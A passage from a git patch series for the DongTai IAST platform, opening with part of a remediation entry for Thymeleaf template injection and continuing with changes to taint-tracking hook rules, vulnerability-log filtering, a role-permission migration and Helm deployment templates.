e\u4e3afalse\uff0c\u4ee5\u4fbf\u5728\u4fee\u6539\u6a21\u677f\u540e\u7acb\u5373\u770b\u5230\u66f4\u6539\u3002\n\n```Plain\nspring.thymeleaf.cache=true\n```\n\n#### 2.1.2\u3001\u767d\u540d\u5355\u8fc7\u6ee4\n\n\u6839\u636e\u4e1a\u52a1\u9700\u6c42\u8fdb\u884c\u4fee\u590d\uff0c\u5982\u6f0f\u6d1e\u4f4d\u7f6e\u51fa\u73b0\u5728\u5207\u6362\u7f51\u9875\u8bed\u8a00\u65f6\u5bfc\u81f4\u7684\u6a21\u7248\u6ce8\u5165\uff0c\u5982\u4f20\u53c2: /?lang=en\uff0c\u6b64\u65f6\u53ef\u6839\u636e\u5df2\u6709\u7684\u8bed\u8a00\u6a21\u7248\u8fdb\u884c\u767d\u540d\u5355\u5339\u914d\uff0c\u53ea\u5141\u8bb8\u4f20\u5165en\uff0czh-cn\u7b49\u5b57\u6bb5\u6765\u9632\u6b62\u8be5\u95ee\u9898\u3002\n\n#### 2.1.3\u3001\u8bbe\u7f6e@ResponseBody\u6ce8\u89e3\n\n\u5982\u679c\u8bbe\u7f6e`ResponseBody`\uff0c\u5219\u4e0d\u518d\u8c03\u7528\u6a21\u677f\u89e3\u6790\n\n```Plain\n@GetMapping(\"/safe/fragment\") \n@ResponseBody \npublic String safeFragment(@RequestParam String section) { \n return \"welcome :: \" + section; //FP, as @ResponseBody annotation tells Spring to process the return values as body, instead of view name \n}\n```\n\n#### 2.1.4\u3001\u8bbe\u7f6eredirect\u91cd\u5b9a\u5411\n\n```Plain\n@GetMapping(\"/safe/redirect\") \npublic String redirect(@RequestParam String url) { \n return \"redirect:\" + url; //FP as redirects are not resolved as expressions \n}\n```\n\n\u6839\u636espring boot\u5b9a\u4e49\uff0c\u5982\u679c\u540d\u79f0\u4ee5`redirect:`\u5f00\u5934\uff0c\u5219\u4e0d\u518d\u8c03\u7528`ThymeleafView`\u89e3\u6790\uff0c\u8c03\u7528`RedirectView`\u53bb\u89e3\u6790`controller`\u7684\u8fd4\u56de\u503c\n\n#### 2.1.5\u3001\u4f7f\u7528HttpServletResponse\n\n```Plain\n@GetMapping(\"/safe/doc/{document}\")\npublic void getDocument(@PathVariable String document, HttpServletResponse response) {\n log.info(\"Retrieving \" + document); //FP\n}\n```\n\n\u7531\u4e8econtroller\u7684\u53c2\u6570\u88ab\u8bbe\u7f6e\u4e3aHttpServletResponse\uff0cSpring\u8ba4\u4e3a\u5b83\u5df2\u7ecf\u5904\u7406\u4e86HTTP Response\uff0c\u56e0\u6b64\u4e0d\u4f1a\u53d1\u751f\u89c6\u56fe\u540d\u79f0\u89e3\u6790\n\n#### 2.1.6\u3001\u6f0f\u6d1e\u53c2\u8003Demo\n\n1\u3001https://github.com/veracode-research/spring-view-manipulation/\n\n\n", "vul_name": "Thymeleaf\u6a21\u7248\u6ce8\u5165", "vul_name_en": null, "vul_name_zh": "Thymeleaf\u6a21\u7248\u6ce8\u5165", From a53446e9e12af1aedb745a9e61ebadbfa87bc877 Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Tue, 17 Oct 2023 15:37:00 +0800 Subject: [PATCH 71/92] feat: add 1.16 strategy. --- static/data/java_full_policy.json | 8 ++++---- static/data/python_full_policy.json | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/static/data/java_full_policy.json b/static/data/java_full_policy.json index 825851679..d82023e2d 100644 --- a/static/data/java_full_policy.json +++ b/static/data/java_full_policy.json @@ -922,7 +922,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, - "modified": true, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -4058,7 +4058,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, - "modified": true, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -4842,7 +4842,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, - "modified": true, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4865,7 +4865,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, - "modified": true, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, diff --git a/static/data/python_full_policy.json b/static/data/python_full_policy.json index 6eaed4fb0..b16021ffe 100644 --- a/static/data/python_full_policy.json +++ b/static/data/python_full_policy.json @@ -771,7 +771,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, - "modified": true, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, From 279a117f31f5c79c4daf111cb0de4a57615f2869 Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Tue, 17 Oct 2023 16:16:57 +0800 Subject: [PATCH 72/92] feat: add strategy case. --- dongtai_web/views/engine_hook_rule_add.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/dongtai_web/views/engine_hook_rule_add.py b/dongtai_web/views/engine_hook_rule_add.py index 42111b33b..efc853fa5 100644 --- a/dongtai_web/views/engine_hook_rule_add.py +++ b/dongtai_web/views/engine_hook_rule_add.py @@ -235,7 +235,7 @@ def post(self, request): ~Q(enable=const.DELETE), language_id=ser.validated_data["language_id"], type=type_, - value=rule_value, + value__exact=rule_value, ).exists(): return R.failure(msg="Already exists same rule") From a8fb7582bbe99f7d4afd1f5b828beeacacf2c17c Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Tue, 17 Oct 2023 19:04:38 +0800 Subject: [PATCH 73/92] feat: add vul log time range. --- dongtai_web/views/engine_hook_rule_add.py | 2 +- dongtai_web/vul_log/vul_log_view.py | 4 ++++ 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/dongtai_web/views/engine_hook_rule_add.py b/dongtai_web/views/engine_hook_rule_add.py index 42111b33b..fe06a15a7 100644 --- a/dongtai_web/views/engine_hook_rule_add.py +++ b/dongtai_web/views/engine_hook_rule_add.py @@ -235,7 +235,7 @@ def post(self, request): ~Q(enable=const.DELETE), language_id=ser.validated_data["language_id"], type=type_, - value=rule_value, + value__contains=rule_value, ).exists(): return R.failure(msg="Already exists same rule") diff --git a/dongtai_web/vul_log/vul_log_view.py b/dongtai_web/vul_log/vul_log_view.py index 6d9ab1089..02c018e9f 100644 --- a/dongtai_web/vul_log/vul_log_view.py +++ b/dongtai_web/vul_log/vul_log_view.py @@ -13,6 +13,8 @@ class VulLogListArgsSerializer(serializers.Serializer): vul_type = serializers.IntegerField(min_value=1, max_value=2, help_text="漏洞类型") msg_type = serializers.IntegerField(min_value=1, max_value=5, required=False, help_text="消息类型") + start_time = serializers.IntegerField(required=False, help_text="开始时间") + end_time = serializers.IntegerField(required=False, help_text="结束时间") class VulLogViewSet(UserEndPoint, viewsets.ViewSet): @@ -42,6 +44,8 @@ def list(self, request, vul_id): q = q & Q(asset_vul_id=vul_id) if "msg_type" in request.query_params and msg_type: q = q & Q(msg_type=msg_type) + if "start_time" in request.query_params and "end_time" in request.query_params : + q = q & Q(datetime__gt=request.query_params["start_time"],datetime__lt=request.query_params["end_time"]) data = IastVulLog.objects.filter(q).all() return R.success([model_to_dict(i) for i in data]) From 804d6514d9559e92b571e95a583cd4ba1f1fe713 Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Thu, 19 Oct 2023 11:41:27 +0800 Subject: [PATCH 74/92] feat: add vul log time range. --- dongtai_web/vul_log/vul_log_view.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/dongtai_web/vul_log/vul_log_view.py b/dongtai_web/vul_log/vul_log_view.py index 02c018e9f..5cfd7848f 100644 --- a/dongtai_web/vul_log/vul_log_view.py +++ b/dongtai_web/vul_log/vul_log_view.py @@ -14,7 +14,7 @@ class VulLogListArgsSerializer(serializers.Serializer): vul_type = serializers.IntegerField(min_value=1, max_value=2, help_text="漏洞类型") msg_type = serializers.IntegerField(min_value=1, max_value=5, required=False, help_text="消息类型") start_time = serializers.IntegerField(required=False, help_text="开始时间") - end_time = serializers.IntegerField(required=False, help_text="结束时间") + end_time = serializers.IntegerField(required=False, help_text="结束时间") class VulLogViewSet(UserEndPoint, viewsets.ViewSet): @@ -44,8 +44,8 @@ def list(self, request, vul_id): q = q & Q(asset_vul_id=vul_id) if "msg_type" in request.query_params and msg_type: q = q & Q(msg_type=msg_type) - if "start_time" in request.query_params and "end_time" in request.query_params : - q = q & Q(datetime__gt=request.query_params["start_time"],datetime__lt=request.query_params["end_time"]) + if "start_time" in request.query_params and "end_time" in request.query_params: + q = q & Q(datetime__gt=request.query_params["start_time"], datetime__lt=request.query_params["end_time"]) data = IastVulLog.objects.filter(q).all() return R.success([model_to_dict(i) for i in data]) From 6b57aaa0402a488f9a7ae4e0c2d61bd5b85c8891 Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Thu, 19 Oct 2023 11:48:40 +0800 Subject: [PATCH 75/92] feat: add strategy case. --- static/data/java_full_policy.json | 23 +++++++++++++++++++++++ static/data/java_policy.json | 17 +++++++++++++++++ 2 files changed, 40 insertions(+) diff --git a/static/data/java_full_policy.json b/static/data/java_full_policy.json index d82023e2d..83b3630dd 100644 --- a/static/data/java_full_policy.json +++ b/static/data/java_full_policy.json @@ -4857,6 +4857,29 @@ ], "value": "javax.servlet.http.HttpServletResponse.encodeRedirectURL(java.lang.String)" }, + { + "command": "", + "created_by": 1, + "enable": 1, + "ignore_blacklist": false, + "ignore_internal": false, + "inherit": "true", + "language": 1, + "modified": false, + "source": "P1", + "stack_blacklist": [], + "system_type": 1, + "tags": [ + "url-encoded" + ], + "target": "R", + "track": "false", + "type": 1, + "untags": [ + "url-decoded" + ], + "value": "javax.servlet.http.HttpServletResponse.encodeRedirectUrl(java.lang.String)" + }, { "command": "", "created_by": 1, diff --git a/static/data/java_policy.json b/static/data/java_policy.json index fc9f37760..3a3dc7ab8 100644 --- a/static/data/java_policy.json +++ b/static/data/java_policy.json @@ -3403,6 +3403,23 @@ ], "value": "javax.servlet.http.HttpServletResponse.encodeRedirectURL(java.lang.String)" }, + { + "command": "", + "ignore_blacklist": false, + "ignore_internal": false, + "inherit": "true", + "source": "P1", + "stack_blacklist": [], + "tags": [ + "url-encoded" + ], + "target": "R", + "track": "false", + "untags": [ + "url-decoded" + ], + "value": "javax.servlet.http.HttpServletResponse.encodeRedirectUrl(java.lang.String)" + }, { "command": "", "ignore_blacklist": false, From ae75d555a7a70b8e071ae2a92c1de86b1b836b0c Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Thu, 19 Oct 2023 12:16:35 +0800 Subject: [PATCH 76/92] feat: add strategy case. --- dongtai_web/views/engine_hook_rule_add.py | 1 + 1 file changed, 1 insertion(+) diff --git a/dongtai_web/views/engine_hook_rule_add.py b/dongtai_web/views/engine_hook_rule_add.py index fe06a15a7..4337f5cfe 100644 --- a/dongtai_web/views/engine_hook_rule_add.py +++ b/dongtai_web/views/engine_hook_rule_add.py @@ -236,6 +236,7 @@ def post(self, request): language_id=ser.validated_data["language_id"], type=type_, value__contains=rule_value, + value=rule_value, ).exists(): return R.failure(msg="Already exists same rule") From 8876ac3365d5ad9067336d1ec3c1c5bfaebf1b8d Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Thu, 19 Oct 2023 14:14:42 +0800 Subject: [PATCH 77/92] feat: add strategy case. --- static/data/java_full_policy.json | 19 +++++++++++++++++++ static/data/java_policy.json | 13 +++++++++++++ 2 files changed, 32 insertions(+) diff --git a/static/data/java_full_policy.json b/static/data/java_full_policy.json index 83b3630dd..e54bd1c91 100644 --- a/static/data/java_full_policy.json +++ b/static/data/java_full_policy.json @@ -4903,6 +4903,25 @@ ], "value": "javax.servlet.http.HttpServletResponse.encodeURL(java.lang.String)" }, + { + "command": "", + "created_by": 1, + "enable": 1, + "ignore_blacklist": false, + "ignore_internal": false, + "inherit": "true", + "language": 1, + "modified": false, + "source": "P1", + "stack_blacklist": [], + "system_type": 1, + "tags": [], + "target": "R", + "track": "false", + "type": 1, + "untags": [], + "value": "javax.servlet.http.HttpServletResponse.encodeUrl(java.lang.String)" + }, { "command": "", "created_by": 1, diff --git a/static/data/java_policy.json b/static/data/java_policy.json index 3a3dc7ab8..4525dceaf 100644 --- a/static/data/java_policy.json +++ b/static/data/java_policy.json @@ -3437,6 +3437,19 @@ ], "value": "javax.servlet.http.HttpServletResponse.encodeURL(java.lang.String)" }, + { + "command": "", + "ignore_blacklist": false, + "ignore_internal": false, + "inherit": "true", + "source": "P1", + "stack_blacklist": [], + "tags": [], + "target": "R", + "track": "false", + "untags": [], + "value": "javax.servlet.http.HttpServletResponse.encodeUrl(java.lang.String)" + }, { "command": "", "ignore_blacklist": false, From 78366ca83677ee1a5a1a2ec6bbd00071e3cbd875 Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Mon, 23 Oct 2023 15:06:24 +0800 Subject: [PATCH 78/92] fix: vul_log msg record --- .../migrations/0036_auto_20230919_1233.py | 211 ++++++++++++++++++ dongtai_web/vul_log/vul_log.py | 2 +- 2 files changed, 212 insertions(+), 1 deletion(-) create mode 100644 dongtai_common/migrations/0036_auto_20230919_1233.py diff --git a/dongtai_common/migrations/0036_auto_20230919_1233.py b/dongtai_common/migrations/0036_auto_20230919_1233.py new file mode 100644 index 000000000..55f2956ed --- /dev/null +++ b/dongtai_common/migrations/0036_auto_20230919_1233.py @@ -0,0 +1,211 @@ +# Generated by Django 3.2.20 on 2023-09-19 12:33 + +from django.db import migrations + + +def update_admin_role(apps, schema_editor): + IastRoleV2 = apps.get_model("dongtai_common", "IastRoleV2") + + new_admin_permission = { + "routes": [ + "dashboard", + "Dashboard", + "deployment", + "deploy", + "project", + "projectManage", + "vulnList", + "scaList", + "agentManage", + "scanList", + "integrationManagement", + "strategyBox", + "strategyManage", + "templateManage", + "hookRule", + "sensitiveManage", + "projectTemplate", + "systemSettings", + "search", + "center", + "reportCenter", + "vulnSharing", + "links", + "authority", + "roleSetting", + "team", + "account", + "license", + "changeLogo", + "logManage", + "about", + ], + "buttons": [ + {"id": 1, "label": "新增项目"}, + {"id": 2, "label": "删除项目"}, + {"id": 3, "label": "编辑项目"}, + {"id": 4, "label": "生成报告"}, + {"id": 5, "label": "删除漏洞"}, + {"id": 6, "label": "关联漏洞"}, + {"id": 7, "label": "漏洞分享"}, + {"id": 8, "label": "状态变更"}, + {"id": 9, "label": "集成同步"}, + {"id": 58, "label": "下载调用链"}, + {"id": 59, "label": "请求重放"}, + {"id": 10, "label": "组件分享"}, + {"id": 11, "label": "启用"}, + {"id": 12, "label": "暂停"}, + {"id": 13, "label": "导出日志"}, + {"id": 14, "label": "批量升级"}, + {"id": 15, "label": "主动验证"}, + {"id": 16, "label": "熔断配置"}, + {"id": 17, "label": "IDE 插件"}, + {"id": 18, "label": "CI/CD 集成"}, + {"id": 19, "label": "缺陷管理"}, + {"id": 20, "label": "消息通知"}, + {"id": 21, "label": "其他"}, + {"id": 22, "label": "新增策略"}, + {"id": 23, "label": "编辑策略"}, + {"id": 24, "label": "删除策略"}, + {"id": 25, "label": "修改状态"}, + {"id": 26, "label": "新增模版"}, + {"id": 27, "label": "编辑模版"}, + {"id": 28, "label": "删除模版"}, + {"id": 29, "label": "修改状态"}, + {"id": 30, "label": "添加规则类型"}, + {"id": 31, "label": "添加规则"}, + {"id": 32, "label": "删除规则"}, + {"id": 33, "label": "修改状态"}, + {"id": 34, "label": "全部启用"}, + {"id": 35, "label": "全部禁用"}, + {"id": 36, "label": "全部删除"}, + {"id": 37, "label": "新增规则"}, + {"id": 38, "label": "编辑规则"}, + {"id": 39, "label": "删除规则"}, + {"id": 40, "label": "修改状态"}, + {"id": 41, "label": "新增配置"}, + {"id": 42, "label": "编辑模版"}, + {"id": 57, "label": "删除模版"}, + {"id": 43, "label": "只读"}, + {"id": 44, "label": "修改"}, + {"id": 45, "label": "新增角色"}, + {"id": 46, "label": "删除角色"}, + {"id": 47, "label": "编辑角色"}, + {"id": 48, "label": "新增项目组"}, + {"id": 49, "label": "删除项目组"}, + {"id": 50, "label": "编辑项目组"}, + {"id": 51, "label": "查看详情"}, + {"id": 52, "label": "新增账号"}, + {"id": 53, "label": "删除账号"}, + {"id": 54, "label": "编辑账号"}, + {"id": 55, "label": "查看详情"}, + {"id": 56, "label": "消息通知"}, + ], + } + new_user_permission = { + "routes": [ + "dashboard", + "Dashboard", + "deployment", + "deploy", + "project", + "projectManage", + "vulnList", + "scaList", + "agentManage", + "scanList", + "integrationManagement", + "strategyBox", + "strategyManage", + "templateManage", + "hookRule", + "sensitiveManage", + "projectTemplate", + "systemSettings", + "search", + "center", + "reportCenter", + "vulnSharing", + "links", + "authority", + "roleSetting", + "team", + "account", + "license", + "changeLogo", + "logManage", + "about", + ], + "buttons": [ + {"id": 1, "label": "新增项目"}, + {"id": 2, "label": "删除项目"}, + {"id": 3, "label": "编辑项目"}, + {"id": 4, "label": "生成报告"}, + {"id": 5, "label": "删除漏洞"}, + {"id": 6, "label": "关联漏洞"}, + {"id": 7, "label": "漏洞分享"}, + {"id": 8, "label": "状态变更"}, + {"id": 9, "label": "集成同步"}, + {"id": 58, "label": "下载调用链"}, + {"id": 10, "label": "组件分享"}, + {"id": 11, "label": "启用"}, + {"id": 12, "label": "暂停"}, + {"id": 13, "label": "导出日志"}, + {"id": 14, "label": "批量升级"}, + {"id": 15, "label": "主动验证"}, + {"id": 16, "label": "熔断配置"}, + {"id": 17, "label": "IDE 插件"}, + {"id": 18, "label": "CI/CD 集成"}, + {"id": 19, "label": "缺陷管理"}, + {"id": 20, "label": "消息通知"}, + {"id": 21, "label": "其他"}, + {"id": 22, "label": "新增策略"}, + {"id": 23, "label": "编辑策略"}, + {"id": 24, "label": "删除策略"}, + {"id": 25, "label": "修改状态"}, + {"id": 26, "label": "新增模版"}, + {"id": 27, "label": "编辑模版"}, + {"id": 28, "label": "删除模版"}, + {"id": 29, "label": "修改状态"}, + {"id": 30, "label": "添加规则类型"}, + {"id": 31, "label": "添加规则"}, + {"id": 32, "label": "删除规则"}, + {"id": 33, "label": "修改状态"}, + {"id": 34, "label": "全部启用"}, + {"id": 35, "label": "全部禁用"}, + {"id": 36, "label": "全部删除"}, + {"id": 37, "label": "新增规则"}, + {"id": 38, "label": "编辑规则"}, + {"id": 39, "label": "删除规则"}, + {"id": 40, "label": "修改状态"}, + {"id": 41, "label": "新增配置"}, + {"id": 42, "label": "编辑模版"}, + {"id": 57, "label": "删除模版"}, + {"id": 43, "label": "只读"}, + {"id": 44, "label": "修改"}, + {"id": 45, "label": "新增角色"}, + {"id": 46, "label": "删除角色"}, + {"id": 47, "label": "编辑角色"}, + {"id": 48, "label": "新增项目组"}, + {"id": 49, "label": "删除项目组"}, + {"id": 50, "label": "编辑项目组"}, + {"id": 51, "label": "查看详情"}, + {"id": 52, "label": "新增账号"}, + {"id": 53, "label": "删除账号"}, + {"id": 54, "label": "编辑账号"}, + {"id": 55, "label": "查看详情"}, + {"id": 56, "label": "消息通知"}, + ], + } + IastRoleV2.object.filter(name="管理员", is_admin=True).update(permission=new_admin_permission) + IastRoleV2.object.filter(name="普通用户", is_admin=True).update(permission=new_user_permission) + + +class Migration(migrations.Migration): + dependencies = [ + ("dongtai_common", "0026_auto_20230918_1413"), + ] + + operations = [ + migrations.RunPython(update_admin_role), + ] diff --git a/dongtai_web/vul_log/vul_log.py b/dongtai_web/vul_log/vul_log.py index 80e0464fb..e6128c0cc 100644 --- a/dongtai_web/vul_log/vul_log.py +++ b/dongtai_web/vul_log/vul_log.py @@ -12,7 +12,7 @@ def log_change_status(user_id: int, user_name: str, vul_id: list, vul_status: st del kwargs["kwargs"] msg = ( f"id为{user_id}的用户{user_name}修改漏洞状态为{vul_status}" - if addtional_msg + if not addtional_msg else f"id为{user_id}的用户{user_name}修改漏洞状态为{vul_status} 评论: {addtional_msg}" ) From 7b7fdfbc77db57387f73965b279132cd10f85699 Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Mon, 23 Oct 2023 15:19:33 +0800 Subject: [PATCH 79/92] fix: vul_log msg record --- dongtai_common/migrations/0036_auto_20230919_1233.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/dongtai_common/migrations/0036_auto_20230919_1233.py b/dongtai_common/migrations/0036_auto_20230919_1233.py index 55f2956ed..0c081898c 100644 --- a/dongtai_common/migrations/0036_auto_20230919_1233.py +++ b/dongtai_common/migrations/0036_auto_20230919_1233.py @@ -203,7 +203,7 @@ def update_admin_role(apps, schema_editor): class Migration(migrations.Migration): dependencies = [ - ("dongtai_common", "0026_auto_20230918_1413"), + ("dongtai_common", "0035_alter_user_phone"), ] operations = [ From b110cf5349254bf83e63341ced2a9235b1ce931f Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Mon, 23 Oct 2023 15:27:13 +0800 Subject: [PATCH 80/92] fix: vul_log msg record --- dongtai_common/migrations/0036_auto_20230919_1233.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/dongtai_common/migrations/0036_auto_20230919_1233.py b/dongtai_common/migrations/0036_auto_20230919_1233.py index 0c081898c..41c734848 100644 --- a/dongtai_common/migrations/0036_auto_20230919_1233.py +++ b/dongtai_common/migrations/0036_auto_20230919_1233.py @@ -197,8 +197,8 @@ def update_admin_role(apps, schema_editor): {"id": 56, "label": "消息通知"}, ], } - IastRoleV2.object.filter(name="管理员", is_admin=True).update(permission=new_admin_permission) - IastRoleV2.object.filter(name="普通用户", is_admin=True).update(permission=new_user_permission) + IastRoleV2.objects.filter(name="管理员", is_admin=True).update(permission=new_admin_permission) + IastRoleV2.objects.filter(name="普通用户", is_admin=True).update(permission=new_user_permission) class Migration(migrations.Migration): From 62f2a85044e6a0803ec2fd2368fc937924865d5c Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Mon, 23 Oct 2023 16:14:23 +0800 Subject: [PATCH 81/92] feat: migration permissions. --- dongtai_common/migrations/0036_auto_20230919_1233.py | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/dongtai_common/migrations/0036_auto_20230919_1233.py b/dongtai_common/migrations/0036_auto_20230919_1233.py index 41c734848..100b358fe 100644 --- a/dongtai_common/migrations/0036_auto_20230919_1233.py +++ b/dongtai_common/migrations/0036_auto_20230919_1233.py @@ -197,8 +197,16 @@ def update_admin_role(apps, schema_editor): {"id": 56, "label": "消息通知"}, ], } - IastRoleV2.objects.filter(name="管理员", is_admin=True).update(permission=new_admin_permission) - IastRoleV2.objects.filter(name="普通用户", is_admin=True).update(permission=new_user_permission) + empty_permission = {"routes": ["Dashboard", "license", "dashboard"], "buttons": []} + IastRoleV2.objects.filter(id=1).update(permission=new_admin_permission) + IastRoleV2.objects.filter(id=2).update(permission=new_user_permission) + IastRoleV2.objects.create( + id=-1, + name="empty_permission", + is_preset=True, + status=1, + permission=empty_permission, + ) class Migration(migrations.Migration): From 74556000df24b3b67f8a0f2cd95db62b533b1df0 Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Mon, 23 Oct 2023 16:15:33 +0800 Subject: [PATCH 82/92] feat: migration permissions. --- dongtai_common/migrations/0036_auto_20230919_1233.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/dongtai_common/migrations/0036_auto_20230919_1233.py b/dongtai_common/migrations/0036_auto_20230919_1233.py index 100b358fe..116eae233 100644 --- a/dongtai_common/migrations/0036_auto_20230919_1233.py +++ b/dongtai_common/migrations/0036_auto_20230919_1233.py @@ -202,7 +202,7 @@ def update_admin_role(apps, schema_editor): IastRoleV2.objects.filter(id=2).update(permission=new_user_permission) IastRoleV2.objects.create( id=-1, - name="empty_permission", + name="empty", is_preset=True, status=1, permission=empty_permission, From c5e9c29602d2416d6c1b9954f8a69b0e01688670 Mon Sep 17 00:00:00 2001 From: tscuite Date: Thu, 26 Oct 2023 11:15:29 +0800 Subject: [PATCH 83/92] feat: update ci --- .github/workflows/deploy-dev.yaml | 6 +++--- .../kubernetes/helm/templates/deployments/dongtai-doc.yaml | 4 ++++ .../helm/templates/deployments/dongtai-logrotate.yaml | 4 ++++ .../helm/templates/deployments/dongtai-logtsash.yaml | 4 ++++ .../helm/templates/deployments/dongtai-server.yaml | 4 ++++ .../kubernetes/helm/templates/deployments/dongtai-web.yaml | 4 ++++ .../helm/templates/deployments/dongtai-worker-beat.yaml | 4 ++++ .../helm/templates/deployments/dongtai-worker-chain.yaml | 4 ++++ .../helm/templates/deployments/dongtai-worker-es.yaml | 4 ++++ .../templates/deployments/dongtai-worker-high-freq.yaml | 4 ++++ .../helm/templates/deployments/dongtai-worker-other.yaml | 4 ++++ .../templates/deployments/dongtai-worker-report-only.yaml | 4 ++++ .../helm/templates/deployments/dongtai-worker-sca.yaml | 4 ++++ .../helm/templates/deployments/dongtai-worker-task.yaml | 4 ++++ deploy/kubernetes/helm/values.yaml | 1 + 15 files changed, 56 insertions(+), 3 deletions(-) diff --git a/.github/workflows/deploy-dev.yaml b/.github/workflows/deploy-dev.yaml index 95b6e8c92..45c65d5cc 100644 --- a/.github/workflows/deploy-dev.yaml +++ b/.github/workflows/deploy-dev.yaml @@ -76,9 +76,9 @@ jobs: context: . push: true platforms: linux/amd64 - tags: | - registry.cn-hongkong.aliyuncs.com/secnium/dongtai-server:${{ steps.version.outputs.GITHUB_REF }}-latest - registry.cn-hongkong.aliyuncs.com/secnium/dongtai-server:${{ steps.version.outputs.GITHUB_REF }}-1.0.${{github.run_number}} + tags: | + hktingyun.tencentcloudcr.com/dongtai/dongtai-server:${{ steps.version.outputs.GITHUB_REF }}-latest + hktingyun.tencentcloudcr.com/dongtai/dongtai-server:${{ steps.version.outputs.GITHUB_REF }}-1.0.${{github.run_number}} - name: deploy to cluster uses: HXSecurity/kubectl-helm-action@main diff --git a/deploy/kubernetes/helm/templates/deployments/dongtai-doc.yaml b/deploy/kubernetes/helm/templates/deployments/dongtai-doc.yaml index fb31d51c5..b285dceae 100644 --- a/deploy/kubernetes/helm/templates/deployments/dongtai-doc.yaml +++ b/deploy/kubernetes/helm/templates/deployments/dongtai-doc.yaml @@ -25,6 +25,10 @@ spec: app: {{ template "dongtai.fullname" . }}-doc {{- include "dongtai.labels" . | nindent 8 }} spec: +{{- if .Values.imagePullSecrets }} + imagePullSecrets: + - name: {{ .Values.imagePullSecrets }} + {{- end }} {{- if .Values.nodeSelector }} nodeSelector: {{ toYaml .Values.nodeSelector | indent 8 }} diff --git a/deploy/kubernetes/helm/templates/deployments/dongtai-logrotate.yaml b/deploy/kubernetes/helm/templates/deployments/dongtai-logrotate.yaml index 1454fa280..c80a42eb4 100644 --- a/deploy/kubernetes/helm/templates/deployments/dongtai-logrotate.yaml +++ b/deploy/kubernetes/helm/templates/deployments/dongtai-logrotate.yaml @@ -22,6 +22,10 @@ spec: app: {{ template "dongtai.fullname" . }}-logrotate {{- include "dongtai.labels" . | nindent 8 }} spec: +{{- if .Values.imagePullSecrets }} + imagePullSecrets: + - name: {{ .Values.imagePullSecrets }} + {{- end }} {{- if .Values.nodeSelector }} nodeSelector: {{ toYaml .Values.nodeSelector | indent 8 }} diff --git a/deploy/kubernetes/helm/templates/deployments/dongtai-logtsash.yaml b/deploy/kubernetes/helm/templates/deployments/dongtai-logtsash.yaml index e07f318eb..6b6489c98 100644 --- a/deploy/kubernetes/helm/templates/deployments/dongtai-logtsash.yaml +++ b/deploy/kubernetes/helm/templates/deployments/dongtai-logtsash.yaml @@ -26,6 +26,10 @@ spec: app: {{ template "dongtai.fullname" . }}-logstash {{- include "dongtai.labels" . | nindent 8 }} spec: +{{- if .Values.imagePullSecrets }} + imagePullSecrets: + - name: {{ .Values.imagePullSecrets }} + {{- end }} {{- if .Values.nodeSelector }} nodeSelector: {{ toYaml .Values.nodeSelector | indent 8 }} diff --git a/deploy/kubernetes/helm/templates/deployments/dongtai-server.yaml b/deploy/kubernetes/helm/templates/deployments/dongtai-server.yaml index 66b21993d..261598e15 100644 --- a/deploy/kubernetes/helm/templates/deployments/dongtai-server.yaml +++ b/deploy/kubernetes/helm/templates/deployments/dongtai-server.yaml @@ -27,6 +27,10 @@ spec: app: {{ template "dongtai.fullname" . }}-server {{- include "dongtai.labels" . | nindent 8 }} spec: +{{- if .Values.imagePullSecrets }} + imagePullSecrets: + - name: {{ .Values.imagePullSecrets }} + {{- end }} {{- if .Values.nodeSelector }} nodeSelector: {{ toYaml .Values.nodeSelector | indent 8 }} diff --git a/deploy/kubernetes/helm/templates/deployments/dongtai-web.yaml b/deploy/kubernetes/helm/templates/deployments/dongtai-web.yaml index 71d2013c6..00c22b8e4 100644 --- a/deploy/kubernetes/helm/templates/deployments/dongtai-web.yaml +++ b/deploy/kubernetes/helm/templates/deployments/dongtai-web.yaml @@ -29,6 +29,10 @@ spec: app: {{ template "dongtai.fullname" . }}-web {{- include "dongtai.labels" . | nindent 8 }} spec: +{{- if .Values.imagePullSecrets }} + imagePullSecrets: + - name: {{ .Values.imagePullSecrets }} + {{- end }} {{- if .Values.nodeSelector }} nodeSelector: {{ toYaml .Values.nodeSelector | indent 8 }} diff --git a/deploy/kubernetes/helm/templates/deployments/dongtai-worker-beat.yaml b/deploy/kubernetes/helm/templates/deployments/dongtai-worker-beat.yaml index d74c71454..81308f341 100644 --- a/deploy/kubernetes/helm/templates/deployments/dongtai-worker-beat.yaml +++ b/deploy/kubernetes/helm/templates/deployments/dongtai-worker-beat.yaml @@ -24,6 +24,10 @@ spec: app: {{ template "dongtai.fullname" . }}-worker-beat {{- include "dongtai.labels" . | nindent 8 }} spec: +{{- if .Values.imagePullSecrets }} + imagePullSecrets: + - name: {{ .Values.imagePullSecrets }} + {{- end }} {{- if .Values.nodeSelector }} nodeSelector: {{ toYaml .Values.nodeSelector | indent 8 }} diff --git a/deploy/kubernetes/helm/templates/deployments/dongtai-worker-chain.yaml 